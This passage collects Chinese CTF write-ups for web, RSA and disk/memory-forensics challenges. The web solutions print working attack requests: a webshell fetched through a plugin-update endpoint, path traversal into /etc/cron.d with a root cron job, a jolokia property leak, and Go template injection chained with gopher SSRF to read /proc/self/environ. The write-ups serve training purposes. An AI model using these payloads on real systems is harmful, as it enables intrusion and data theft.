随便起就行)
http
POST /admin.php/Plugins/update.html HTTP/1.1
Host: eci-2zedm1lw513xbz1d46c6.cloudeci1.ichunqiu.com
Content-Length: 126
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie:PHPSESSID=0k7pqbk4chhak4ku5aqbfhe7b3filepath=apidata&action=start-download&type=0&download_url=http%3a//127.0.0.1/static/upload/file/20241016/1729079175871306.zip
注意
这里的 PHPSESSID 记得换成自己的
继续构造解压的请求,修改 action
即可,解压完的文件在 /A/exts
访问 /A/exts/shell.php
,可以直接进行命令执行
注意
这里的路径文件名就是上面下载的压缩包里面的文件,如果压缩包里有多个文件,解压会在 exts
下建立一个和上面 POST 参数 filepath
的值一致的文件夹,php 马需要在此目录下访问
flag 在根目录下的 /flllllag
文件,用通配符读取即可(如 /fl*
)
Chocolate
让我们一起来看看出题人的 WriteUp 原稿,感受跨时代「空格自由」「标点自由」「中英文混排自由」的开放排版运动的魅力吧 ~
0x00 Hint 起手
首页分为四个部分(可可液块、可可脂、黑可可粉、糖粉)对应四个小 PHP 考点
因为有实际背景,在可可液块一栏中只要输入了小于等于 0 这一不符合现实的量,就会出现 hint(就像某些支付漏洞一样):
或许可以问问经验最丰富的 Mr.0ldStar
为了减小难度,实际填入的值小于 10 就会有这个提示
根据提示,访问 0ldStar.php
php
<?php
global $cocoaLiquor_star;
global $what_can_i_say;
include("source.php");
highlight_file(__FILE__);printf("什么?想做巧克力?");if(isset($_GET['num'])) {$num = $_GET['num'];if($num==="1337") {die("可爱的捏");}if(preg_match("/[a-z]|\./i", $num)) {die("你干嘛");}if(!strpos($num, "0")) {die("orz orz orz");}if(intval($num, 0)===1337) {print("{$cocoaLiquor_star}\n");print("{$what_can_i_say}\n");print("牢师傅如此说到");}
}
这里考点是八进制绕过检测,过滤了十六进制的字母以及小数的小数点
传入 num=+02471
即可,这个时候会输出
plaintext
// 可可液块 (g): 1337033
// gur arkg yriry vf : pbpbnOhggre_fgne.cuc, try to decode this 牢师傅如此说到
0x02 可可脂
gur arkg yriry vf : pbpbnOhggre_fgne.cuc, try to decode this
是 ROT13 加密,为新生可能遇到的文件读取 ROT13 加密作个铺垫,可以在这熟悉一下(直接当普通移位密码也能试出来)
ROT13 解密之后是 the next level is : cocoaButter_star.php
,进入 cocoaButter_star.php
php
<?php
global $cocoaButter_star;
global $next;
error_reporting(0);
include "source.php";$cat=$_GET['cat'];
$dog=$_GET['dog'];if(is_array($cat) || is_array($dog)){die("EZ");
}else if ($cat !== $dog && md5($cat) === md5($dog)){print("of course you konw");
}else {show_source(__FILE__);die("ohhh no~");
}if (isset($_POST['moew'])){$miao = $_POST['moew'];if($miao == md5($miao)){echo $cocoaButter_star;}else{die("qwq? how?");}
}$next_level = $_POST['wof'];if(isset($next_level) && substr(md5($next_level), 0, 5) === '8031b'){echo $next;
}
第一步是一个 MD5 的强相等,这里可以在网上搜到,比如
plaintext
cat=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2dog=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
第二步是一个 MD5 嵌套之后的相等,也就是找到一个 a=md5(a)
可以网上找,也可以脚本爆破,这里传的是 moew=0e215962017
最后一步稍微难点,需要新生写一个脚本去枚举出一个字符串,令其计算 MD5 值后前几位等于 8031b
,以下脚本供参考
python
import hashlib
from multiprocessing.dummy import Pool as ThreadPool# MD5 截断数值已知,求原始数据
# 例子 substr(md5(captcha), 0, 6) = 60b7ef
def md5(s): # 计算MD5字符串return hashlib.md5(str(s).encode('utf-8')).hexdigest()keymd5 = '8031b' # 已知的 md5 截断值
md5start = 0 # 设置题目已知的截断位置
md5length = 5def findmd5(sss): # 输入范围 里面会进行 md5 测试key = sss.split(':')start = int(key[0]) # 开始位置end = int(key[1]) # 结束位置result = 0for i in range(start, end):# print(md5(i)[md5start:md5length])if md5(i)[0:5] == keymd5: # 拿到加密字符串result = iprint(result) # 打印breaklist=[] # 参数列表
for i in range(10): # 多线程的数字列表开始与结尾list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = ThreadPool() # 多线程任务
pool.map(findmd5, list) # 函数与参数列表
pool.close()
pool.join()
这里跑出来的结果 60066549
,那么传参可以是
plaintext
cat=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2dog=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2moew=0e215962017wof=60066549
0x03 黑可可粉
怕有人放弃,这里直接命名 final
,成功就在眼前了
php
<?phpinclude "source.php";
highlight_file(__FILE__);
$food = file_get_contents('php://input');class chocolate{public $cat='???';public $kitty='???';public function __construct($u, $p){$this->cat=$u;$this->kitty=$p;}public function eatit(){return $this->cat===$this->kitty;}public function __toString(){return $this->cat;}public function __destruct(){global $darkCocoaPowder;echo $darkCocoaPowder;}
}$milk=@unserialize($food);
if(preg_match('/chocolate/', $food)){throw new Exception("Error $milk", 1);
}
简单的反序列化,甚至不需要亲自去构造 pop 链
首先 unserialize($food)
这里的 food
是 $food = file_get_contents('php://input');
需要用 BurpSuite 等工具进行发包(先抓包,然后在数据包的 HTTP Body 处填上序列化之后的内容,HTTP Method 最好选 POST)
在我们可以控制的参数 $food
被反序列化并将结果存入 $milk
后,又对 $food
做了额外的检查:如果 $food
带有 chocolate
,那么就会被程序抛出异常。这里我们可以通过大小写绕过对字符串的过滤
然后深入分析一下
-
这里用户名和密码虽然是
???
,但是单引号包裹字符串,是固定的 -
构造函数,
eatit()
中明显没有命令执行的地方 -
__toString()
函数返回值因为是$cat
,也就是???
,同样没有实际意义,但是第一次做的师傅可以简单了解这个魔术方法关于 __toString()
- 输出格式不对触发(强制类型转换时)
- 表达方式错误导致魔术方法触发
- 常用于构造 POP 链
php
$a = new test(); // $a 是对象 print_r($a); // 调用对象可以用 print_r() 或 var_dump() echo $a; // 触发,把对象当成字符串调用
-
__destruct()
析构函数,也是魔术方法
简单来说就是这个类的实例被销毁时触发(执行)这个函数,也就是我们通过实例化一个正确的 chocolate
类,等到这个实例被 PHP 销毁,就自然输出我们可能需要的内容了(echo $darkCocoaPowder;
),实际上这个参数的值在 index.php
中抓包或者分析源码也能看出这就是黑可可粉的参数
传入 O:9:"ChocoLate":2:{s:8:"username";s:3:"???";s:8:"password";s:3:"???";}
(至少有一个字母大写即可),输出 // 黑可可粉 (g): 51540
参考:
php
<?php
class chocolate {public $username='???';public $password='???';
}
$c = new chocolate();
$a = str_replace("chocolate", "ChocoLate", serialize($c));
var_dump($a);
到这里,没有下一个页面信息,其实套娃也结束了
0x04 糖粉
目前为止就得到了三个参数的正确值,但是还缺少一个,这时候回到验证页面(首页),正确填写了三个值之后,任意填一个 糖粉
的值,页面会返回 太苦
或者 太甜
(布尔盲注)
收集到这个信息后,参考前三个都是整数值,这里也大致可以预计是整数值,通过二分法预计几分钟之内就能轻松拿到正确答案:2042
四个值:
- 1337033
- 202409
- 51540
- 2042
填入之后就会给 flag
隐藏的密码
根据题目隐藏的密码可能是存在信息泄露,进行目录扫描,可以扫到 env
和 jolokia
端点,可以找到 caef11.passwd
属性是隐藏的
http
POST /actuator/jolokia HTTP/1.1
Content-Type: application/json{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["caef11.passwd"]}
读到密码后,根据题目描述和属性的名字可得用户名为 caef11
http
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=--abc
Cookie: PHPSESSID=kc8dfc8njb57d311qlmh7ij0d2; JSESSIONID=E1EF0128A9A427C2593DA64FAE3E2102----abc
Content-Disposition: form-data; name="file"; filename="../etc/cron.d/testt"
Content-Type: application/octet-stream*/1 * * * * root cat /flag | xargs -I {} touch /{}----abc--
通过写定时任务(计划任务)的方式,以 flag 为文件名在根目录创建新文件,通过 ls
查看 flag,或者反弹 shell 也可以
PangBai 过家家(4)
本题已开源,关于题目源码和 EXP,详见:cnily03-hive/PangBai-Go
根据题目附件所给的 hint,只需关注 main.go
文件即可,文件中定义了一个静态文件路由和三个路由:
go
r.HandleFunc("/", routeIndex)
r.HandleFunc("/eye", routeEye)
r.HandleFunc("/favorite", routeFavorite)
在 main.go
的 routeEye
函数中发现了 tmpl.Execute
函数,通过分析,我们重点关注下面的代码片段:
go
tmplStr := strings.Replace(string(content), "%s", input, -1)
tmpl, err := template.New("eye").Parse(tmplStr)helper := Helper{User: user, Config: config}
err = tmpl.Execute(w, helper)
我们的输入 input
会直接作为模板字符串的一部分,与 Python 的 SSTI 类似,我们可以使用 {{
}}
来获取上下文中的数据。
GoLang 模板中的上下文
tmpl.Execute
函数用于将 tmpl 对象中的模板字符串进行渲染,第一个参数传入的是一个 Writer 对象,后面是一个上下文,在模板字符串中,可以使用 {{ . }}
获取整个上下文,或使用 {{ .A.B }}
进行层级访问。若上下文中含有函数,也支持 {{ .Func "param" }}
的方式传入变量。并且还支持管道符运算。
在本题中,由于 utils.go
定义的 Stringer
对象中的 String
方法,对继承他的每一个 struct,在转换为字符串时都会返回 [struct]
,所以直接使用 {{ . }}
返回全局的上下文结构会返回 [struct]
.
访问 /eye
路由,默认就是 {{ .User }}
和返回的信息。根据上面代码片段的内容,我们追溯 Helper
和 Config
两个结构体的结构:
go
type Helper struct {StringerUser stringConfig Config
}var config = Config{Name: "PangBai 过家家 (4)",JwtKey: RandString(64),SignaturePath: "./sign.txt",
}
可以泄露出 JWT 的密钥,只需输入 {{ .Config.JwtKey }}
即可:
然后我们关注另一个路由 /favorite
:
go
func routeFavorite(w http.ResponseWriter, r *http.Request) {if r.Method == http.MethodPut {// ensure only localhost can accessrequestIP := r.RemoteAddr[:strings.LastIndex(r.RemoteAddr, ":")]fmt.Println("Request IP:", requestIP)if requestIP != "127.0.0.1" && requestIP != "[::1]" {w.WriteHeader(http.StatusForbidden)w.Write([]byte("Only localhost can access"))return}token, _ := r.Cookie("token")o, err := validateJwt(token.Value)if err != nil {w.Write([]byte(err.Error()))return}if o.Name == "PangBai" {w.WriteHeader(http.StatusAccepted)w.Write([]byte("Hello, PangBai!"))return}if o.Name != "Papa" {w.WriteHeader(http.StatusForbidden)w.Write([]byte("You cannot access!"))return}body, err := ioutil.ReadAll(r.Body)if err != nil {http.Error(w, "error", http.StatusInternalServerError)}config.SignaturePath = string(body)w.WriteHeader(http.StatusOK)w.Write([]byte("ok"))return}// rendertmpl, err := template.ParseFiles("views/favorite.html")if err != nil {http.Error(w, "error", http.StatusInternalServerError)return}sig, err := ioutil.ReadFile(config.SignaturePath)if err != nil {http.Error(w, "Failed to read signature files: "+config.SignaturePath, http.StatusInternalServerError)return}err = tmpl.Execute(w, string(sig))if err != nil {http.Error(w, "[error]", http.StatusInternalServerError)return}
}
可以看到 /favorite
路由下,网页右下角的内容实际上是一个文件读的结果,文件路径默认为 config.SignaturePath
即 ./sign.txt
的内容。
而如果使用 PUT 请求,则可以修改 config.SignaturePath
的值,但需要携带使 Name
(Token 对象中是 Name
字段,但是 JWT 对象中是 user
字段,可以在 utils.go
中的 validateJwt
函数中看到)为 Papa
的 JWT Cookie.
于是就有了解题思路:利用泄露的 JwtKey
伪造 Cookie,对 /favorite
发起 PUT 请求以修改 config.SignaturePath
,然后访问 /favorite
获取文件读的内容。
然而 /favorite
中又强制要求请求必须来自于本地。
注意到下面的代码片段:
go
func (c Helper) Curl(url string) string {fmt.Println("Curl:", url)cmd := exec.Command("curl", "-fsSL", "--", url)_, err := cmd.CombinedOutput()if err != nil {fmt.Println("Error: curl:", err)return "error"}return "ok"
}
这部分代码为 Helper
定义了一个 Curl
的方法,所以我们可以在 /eye
路由下通过 {{ .Curl "url" }}
调用到这个方法,这个方法允许我们在服务端发起内网请求,即 SSRF(服务端请求伪造):
由于 exec.Command
中 --
的存在,我们没有办法进行任何命令注入或选项控制。而一般情况下,在没有其它参数指定时,curl 发起的 HTTP 请求也只能发送 GET 请求,题目要求的是 PUT 请求。
但 curl 命令并不是只能发起 HTTP 请求,它也支持其它很多的协议,例如 FTP、Gopher 等,其中 Gopher 协议能满足我们的要求。
关于 Gopher 协议
Gopher 协议是一个互联网早期的协议,可以直接发送任意 TCP 报文。其 URI 格式为:gopher://远程地址/_编码的报文
,表示将报文原始内容发送到远程地址.
我们先签一个 JWT:
然后构造 PUT 请求原始报文,Body 内容为想要读取的文件内容,这里读取环境变量:
http
PUT /favorite HTTP/1.1
Host: localhost:8000
Content-Type: text/plain
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiUGFwYSJ9.tgAEnWZJGTa1_HIBlUQj8nzRs2M9asoWZ-JYAQuV0N0
Content-Length: 18/proc/self/environ
注意
必须填正确 Content-Length
的值,以使报文接收方正确解析 HTTP Body 的内容,并且 Body 不应当包含换行符,否则读文件会失败。
对请求进行编码和套上 Gopher 协议(CyberChef Recipe):
plaintext
gopher://localhost:8000/_PUT%20%2Ffavorite%20HTTP%2F1%2E1%0D%0AHost%3A%20localhost%3A8000%0D%0AContent%2DType%3A%20text%2Fplain%0D%0ACookie%3A%20token%3DeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9%2EeyJ1c2VyIjoiUGFwYSJ9%2EtgAEnWZJGTa1%5FHIBlUQj8nzRs2M9asoWZ%2DJYAQuV0N0%0D%0AContent%2DLength%3A%2018%0D%0A%0D%0A%2Fproc%2Fself%2Fenviron
然后调用 curl,在 /eye
路由访问 {{ .Curl "gopher://..." }}
即可。
然后访问 /favorite
路由即可得到 FLAG:
圣石匕首
题目给了一个 .sage
文件,内部语法格式为 Python,但是要求安装并且配置 SageMath 的环境才能执行。可以参照此篇文章配置 SageMath 在 Jupyter 中的运行环境。
然后在 SageMath 环境中运行题目所给的脚本即可。
欧拉欧拉!!
p 和 q 的生成方式独特,其中有
q=x+i
通过 x = (1 << bits) - 1 ^ p
这行代码了解到,在二进制中,p 和 512 个 1 异或得到 x
则 p+x=2512
(举例说明一下)不懂的同学可以了解一下二进制加法
python
a = 0b1001
b = a ^ 0b1111 = 0b0110
a + b = 1111
推导得到 p+q=2512+i
φ 分解:φ=(p−1)(q−1)=n−(p+q)+1
python
from Crypto.Util.number import *
c = 14859652090105683079145454585893160422247900801288656111826569181159038438427898859238993694117308678150258749913747829849091269373672489350727536945889312021893859587868138786640133976196803958879602927438349289325983895357127086714561807181967380062187404628829595784290171905916316214021661729616120643997
n = 18104347461003907895610914021247683508445228187648940019610703551961828343286923443588324205257353157349226965840638901792059481287140055747874675375786201782262247550663098932351593199099796736521757473187142907551498526346132033381442243277945568526912391580431142769526917165011590824127172120180838162091
i = -3
e = 65537phi = n - 2**512 + 2 - i
d = inverse(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))
俱以我之名
参考文档中的「我是谁」、俱以我之名是维娜的技能,所以我们可以试图将 RSA 和「维娜」作为关键词搜索,出题人尝试了一下,是可以搜到的,于是展开学习。
维纳攻击思想,原理可以参照 Xenny 师傅的文章学习:wiener 攻击。
详细证明可以看维基百科:Wiener's attack.
我们可以借助连分数来分解 p 和 q 来对 RSA 打真伤。
在这里我们有
Golden_Oath=(p−114)(p−514)(p+114)(p+514)(q−1919)(q−810)(q+1919)(q+810)≈N4yGolden_Oath≈kx
python
from Crypto.Util.number import *
from gmpy2 import *
import randomn = 141425071303405369267688583480971314815032581405819618511016190023245950842423565456025578726768996255928405749476366742320062773129810617755239412667111588691998380868379955660483185372558973059599254495581547016729479937763213364591413126146102483671385285672028642742654014426993054793378204517214486744679
c = 104575090683421063990494118954150936075812576661759942057772865980855195301985579098801745928083817885393369435101522784385677092942324668770336932487623099755265641877712097977929937088259347596039326198580193524065645826424819334664869152049049342316256537440449958526473368110002271943046726966122355888321
y = 217574365691698773158073738993996550494156171844278669077189161825491226238745356969468902038533922854535578070710976002278064001201980326028443347187697136216041235312192490502479015081704814370278142850634739391445817028960623318683701439854891399013393469200033510113406165952272497324443526299141544564964545937461632903355647411273477731555390580525472533399606416576667193890128726061970653201509841276177937053500663438053151477018183074107182442711656306515049473061426018576304621373895497210927151796054531814746265988174146635716820986208719319296233956243559891444122410388128465897348458862921336261068868678669349968117097659195490792407141240846445006330031546721426459458395606505793093432806236790060342049066284307119546018491926250151057087562126580602631912562103705681810139118673506298916800665912859765635644796622382867334481599049728329203920912683317422430015635091565073203588723830512169316991557606976424732212785533550238950903858852917097354055547392337744369560947616517041907362337902584102983344969307971888314998036201926257375424706901999793914432814775462333942995267009264203787170147555384279151485485660683109778282239772043598128219664150933315760352868905799949049880756509591090387073778041
e = 65537class ContinuedFraction():def __init__(self, numerator, denumerator):self.numberlist = []self.fractionlist = [] self.GenerateNumberList(numerator, denumerator)self.GenerateFractionList()def GenerateNumberList(self, numerator, denumerator):while numerator != 1:quotient = numerator // denumeratorremainder = numerator % denumeratorself.numberlist.append(quotient)numerator = denumeratordenumerator = remainderdef GenerateFractionList(self):self.fractionlist.append([self.numberlist[0], 1])for i in range(1, len(self.numberlist)):numerator = self.numberlist[i]denumerator = 1for j in range(i):temp = numeratornumerator = denumerator + numerator * self.numberlist[i - j - 1]denumerator = tempself.fractionlist.append([numerator, denumerator])n = pow(n,4)
a = ContinuedFraction(y, n)
for k, x in a.fractionlist:#判断哪一个是我们所需的xif b'end' in long_to_bytes(x):print(x)print(k)breakprint(long_to_bytes(x))
Golden_Oath = (x*y-1)//k
print(Golden_Oath)'''
103697213497220650500739251621743955651854455782387759691953279488676501281257640431561
56398712132783063027132828918468670442692437484816382768162819797891220782528221182512
b'5`\xf4\xf6t\xa3\x00end1n9_A_G2@nd_Ov3RTu2e\x1c\x13"H\x0f\xc9'
#400042032831098007958224589201074030167511216235146696966889080122265111949126155016295896501799032251334875101500882585261911204171467951139573150807043239564581043145433814155757093989016940205116328236031283789686099217459678429270939065783626769903068201144816933538226628329294355184200590029028565011348654002192085571172863125467318356642528249715812871925525776008917314884490518613080652875623759460663908309369135829140204137773254011408135516737187092812588388209697036416805176286184831779945910125467423823737934475944632379524991238593952097013985394648562259886597816452815669024660257170465154297959999722533255899489096196292778430386116108069053440749172609798098777046509743030019115282253351905670418760503352277616008654327326851761671410084489662135479597061419403235762755010286075975241013273964842915146756571330207605591193457296347769260777032489271278979332616929093357929916558230665466587125254822846466292980360420737307459205352964255972268278992730637939153686420457279334894980200862788513296786385507282999530973028293157179873999483225505784146175328159014143540959190522315340971608002638786511995717564457749873410017343184395040614025573440462522210939180555090227730875845671821586191943346000
'''
至此,Golden_Oath、n以及它们和p、q关系均已知,利用两个等式解个二元方程即可。
这里我们使用sympy库解方程
python
Golden_Oath = 400042032831098007958224589201074030167511216235146696966889080122265111949126155016295896501799032251334875101500882585261911204171467951139573150807043239564581043145433814155757093989016940205116328236031283789686099217459678429270939065783626769903068201144816933538226628329294355184200590029028565011348654002192085571172863125467318356642528249715812871925525776008917314884490518613080652875623759460663908309369135829140204137773254011408135516737187092812588388209697036416805176286184831779945910125467423823737934475944632379524991238593952097013985394648562259886597816452815669024660257170465154297959999722533255899489096196292778430386116108069053440749172609798098777046509743030019115282253351905670418760503352277616008654327326851761671410084489662135479597061419403235762755010286075975241013273964842915146756571330207605591193457296347769260777032489271278979332616929093357929916558230665466587125254822846466292980360420737307459205352964255972268278992730637939153686420457279334894980200862788513296786385507282999530973028293157179873999483225505784146175328159014143540959190522315340971608002638786511995717564457749873410017343184395040614025573440462522210939180555090227730875845671821586191943346000
from sympy import symbols, Eq, solvep, q = symbols('p q')
equation1 = Eq(p * q, n)
equation2 = Eq((p-114)*(p-514)*(p+114)*(p+514)*(q-1919)*(q-810)*(q+1919)*(q+810), Golden_Oath)
solutions = solve((equation1, equation2), (p, q))
print(f"p 和 q 的解: {solutions}")'''
p 和 q 的解: [(-11256874906034337229658272553494271626180719204801621165552253304119314454014247481847595578004383239651599038196432752043642616511808644606155091511313329, -12563439896413287507369191021540890661182794010085857062984791988214078294298809633469029528754549607502031091193150571585844351836163514784874848514208151), (11256874906034337229658272553494271626180719204801621165552253304119314454014247481847595578004383239651599038196432752043642616511808644606155091511313329, 12563439896413287507369191021540890661182794010085857062984791988214078294298809633469029528754549607502031091193150571585844351836163514784874848514208151)]
'''
分解出p和q我们就成功对RSA打出了最真实的伤害,然后常规流程抬走
python
p = 11256874906034337229658272553494271626180719204801621165552253304119314454014247481847595578004383239651599038196432752043642616511808644606155091511313329
q = 12563439896413287507369191021540890661182794010085857062984791988214078294298809633469029528754549607502031091193150571585844351836163514784874848514208151
d = inverse(e, (p-1)*(q-1))
m = pow(c, d, n)
print(long_to_bytes(m))
#b'flag{rE@L_d@m@9e_15_7h3_mo5t_au7hEn7ic_dam49E}'
擅长音游的小明同学
题目简介如下:
主要是帮助新人了解一下磁盘取证仿真的过程,为了让他符合一点 Week4 的特质还附赠了一点图片隐写,还有出题人活全家小trick。
如果有强大的必应搜索能力,除了 trick 需要动脑子,其他的按网上教程其实都有,不过下面也有就是了
先看介绍:
小明是资深的音游玩家,有一天他游玩某知名街机音游后顺利使 rating 上 w5,
当他将成绩图上传到电脑上时,他的桌面【直接显现】了神秘的东西,
然而没等他反应过来,他的电脑就消失不见,只剩下一个磁盘镜像(?),
这时小明脑海中有一个声音告诉他,如果他找不出来神秘的东西就会抽走他的音游底力,
小明顿时慌了,想希望你帮帮他【利用镜像启动系统】,找到找到令人头疼的秘密。
首先我们能知道什么?
- 小明是音游吃,底力没了会很伤心
- 桌面上有秘密,说白了就是 Flag,而且很明显
- 你手里有一个磁盘镜像
- 算是个提示:使用磁盘镜像启动系统
这个提示告诉我们解题流程类似于仿真取证。
预期解法:使用 FTK imager + 虚拟机进行仿真找出 Flag.
TIP
科普常用小工具:FTK imager ——可以制作镜像、挂载镜像、分析镜像,数据恢复等操作,不管是出题还是解题都十分好用,这里正常解法使用 4.2.0 版本,高版本可能会出现一些问题。
想要进行仿真取证的话,了解系统的基本信息是非常必要的,这里我们使用最原始方法为例:
首先我们打开 FTK imager 加载拿到的镜像,我们看到所有分区都加载完毕,发现磁盘名称有提示,说明系统是 Windows7 x64.
由提示而来,看看桌面的背景图片和文档,能不能直接提取 Flag.
瞅一眼图片,路径在 C:\Users\[用户名]\AppData\Roaming\Microsoft\Windows\Themes
或 C:\Windows\Web\Wallpaper\Windows
可以看到十分抽象的壁纸,根本没有能明显看见的东西,瞅一眼桌面文件夹,只有一大坨文件,也没有什么直观能看见的,内容倒是有:
文件包含的一些内容:
要开始了哟~.txt真相.txt
plaintext
今天舞萌彩框了好开心啊o(* ̄▽ ̄*)ブ
我要把这一刻用照片保存下来
不过在拍摄rating变化的瞬间总感觉有什么东西藏进照片里了
打开也没发现什么异常,但是体积好像变大了一点
是错觉吗?
我们确定了有一张日常图片,而且一定是藏了东西的,我们可以在图片文件夹寻找到照片进行分析(哎舞萌痴):
使用 010 Editor 进行查看的话,可以发现除了正常的照片内容,还有意义不明的文字和一个压缩包(实际上使用 binwalk 梭一下也很正常):
文字内容:
plaintext
?????_DIMENSION_1200x800
压缩包可以使用 binwalk 提取并解压:
secret.txt
plaintext
听好了听好了听好了听好了听好了听好了听好了:1919年8月10日,世界就此陷落,
陷落的世界都将迎来一场漩涡,
为这个世界带来有关弗拉格尚未知晓的真相。但发掘真相的道路被加诸混沌的历练
世界的宽高未被正确丈量
当真相被混沌打乱时
真相将不复存在也许,在世界的重置和轮回中能找到发现真相的方法……至此,尘埃落定
至此,一锤定音#音游# #NewStarcaea# #Misc#
这里可能就需要一些脑洞了,这个世界的宽高和上面的 Dimension 1200×800 能想到是分辨率吗?
实际上到这里信息刺探就已经结束了,下面开始进行仿真启动,这里使用了 Vmware,如果你想使用 HyperV 或者 VirtualBox 的话可以搜索:如何将 E01 转为 VHD / VDI.
注意
FTK Imager 4.5.0.2 版本可能会出问题,建议使用 4.2.0 版本。
进行以下选择,直接将镜像映射成物理磁盘,方便虚拟机直接使用启动:
一定要选择挂载方式位 Writable 不然会因为无法写入而报错,点击 Mount 挂载,下面出现挂载结果表示成功:
挂载成功后我们打开虚拟机,这里使用 Vmware,由于使用物理硬盘需要管理员权限,所以我们需要使用管理员启动 Vmware,右击快捷方式,打开文件位置,再次右击选择兼容性,勾选以管理员权限启动:
启动之后新建虚拟机就可以了。
选择 Windows7 x64 配置,一路全选推荐,其中需要注意的如下:
为什么要选择 UEFI?
结合搜索引擎和对挂载硬盘的研究,不难发现除放置文件的硬盘,还有两个小硬盘,对应的就是 ESP 分区 和 MSR 分区,这些特征符合 GPT 分区格式的硬盘,不同于 MBR,因此需要选择 UEFI,这里不展开讨论,有兴趣的师傅们可以慢慢了解。
WARNING
这里选择要与挂载结果的显示物理磁盘的挂载位置要一致。
接下来就可以启动了,如果提示被占用,可以检查挂载是否挂载为「可写」,也可以尝试重启系统,使用 FTK 直接挂载,再试一次。
当你进入系统后就不得不想起前面的提示:
plaintext
但发掘真相的道路被加诸混沌的历练
世界的宽高未被正确丈量
当真相被混沌打乱时
真相将不复存在1200x800
Flag 其实是拿桌面图标堆的,要是不是 1200×800 的分辨率启动就会被重新排列,一旦被重新排列,图标就再也回不去了
你需要切换到 Guest 调整窗口到相应分辨率再切换到 Admin 账号,就看到了:
最终:flag{wowgoodfzforensics}
WriteUp 是出题人视角的解法,如果是新生想要解题,则大概率做题路径会先根据题目介绍先仿真启动虚拟机,然后发现桌面什么都没有,根据留下的引导发掘出真相,然后重新启动一遍虚拟机。(一想到发现真相的新人们要重新开始笑容就到了我的脸上。)
擅长加密的小明同学
涉及到取证常见的 Volatility 和 GIMP 看图的组合技,还融入(缝)了 BitLocker 解密环节。
拿到题目,题目含有一个 .raw
镜像和一个 .vhd
镜像,尝试挂载 vhd 镜像发现有 BitLocker 加密,看一眼简介:
小明在学习中对各类文件加密的方式起了浓厚的兴趣,并把自己珍贵资料和 Flag 进行了套娃式加密。然而,他却在某天的凌晨三点选择了重装系统,本来他就记不住自己的密码,还丢失了备份密钥…… 据受害者回忆,【他曾经使用画图软件把密码写了下来】,尽管备份已经丢失,如果能成功看到程序运行的样子,说不定就找回密码了,但是硬盘的加密怎么办呢,哎呀~要是有软件能直接破解就好了www
明确目标,我们围绕套娃加密分析:
双击 vhd 发现有 BitLocker,BitLocker 怎么解?理论上没有密码和恢复密钥还真解不开,也没有软件能直接破解,但是 dump 内存镜像的机器是成功解密 BitLocker 的,内存中会残留着 BitLocker 的密钥,而借助内存镜像来解密 BitLocker 的软件确实是有的,他是 Elcomsoft Forensic Disk Decryptor
,基本上搜到的博客都用它,使用以上软件,按图示步骤解密:
选择第一项「解密或挂载硬盘」:
由于题目给了 vhd 文件,所以选使用镜像文件的第二项:
数据来源选择被加密的镜像,而内存转储文件就选题目给的 raw 文件:
一顿操作猛如虎,你就拿到了恢复密钥,这时候你就可以解锁被加密的 vhd 了,软件可以导出解密内容为 raw 格式镜像,raw 格式处理会麻烦一点,但不是不可以。这里在 “更多选项” 选择用恢复密钥解密,得到:
然后你会发现套娃的第二层加密:
7z 在密码复杂的情况下基本不可能被解出密码,根据提示,我们得知小明曾经使用画图软件把密码写了下来,我们可以借助内存镜像看到程序运行的样子找回密码。
在这里我们借助 volatility 和 GIMP 的力量解决问题:
首先按照上一道取证,分析镜像后查看进程:
发现 mspaint.exe(画图进程),我们提取出来,使用 memdump:
提取出的程序对应的 dmp 文件是含有程序运行时的显示内容的,我们只需要寻找运行时图像在 dmp 文件中的位置,然后想办法让他显示出来,这里我们就可以借助 GIMP 通过调整偏移,高,宽的方式达到上面的目的。
在此之前,记得改后缀为 .data,拉入 GIMP 打开,可以看到:
我们现在就是要调节位移、宽度、高度来显现程序运行时显示的内容。
小提示
-
一般正常的内存镜像的话,图像类型我们都选择「RGB 透明」
-
适当调大宽高,能显示多一点内容,但别调太高,小心程序崩了
-
位移看着拉,先拉到感觉有东西显示的位置,感觉差不多这样吧,一般画图就是白的夹依托的感觉:
-
调好位移就调宽高,宽和高实际上就是和程序窗口大小有关,所以别太高,主要是宽度,如果和图上一样↘斜,那么你就该调高宽度,箭头一点一点加上去,如果是↗,你就得一点一点减下来,知道看上去正常了,下面是较为正常,也够用:
-
936 其实已经是很正常了(上附虚拟机真实图片),其实如果你发现内容如果很不对劲,频繁重复的话,你也可以适当减小整数倍(当然这里会看起来很窄):
总之多尝试 ~
最后我们得到了:
压缩包密码:rxnifbeiyomezpplugho
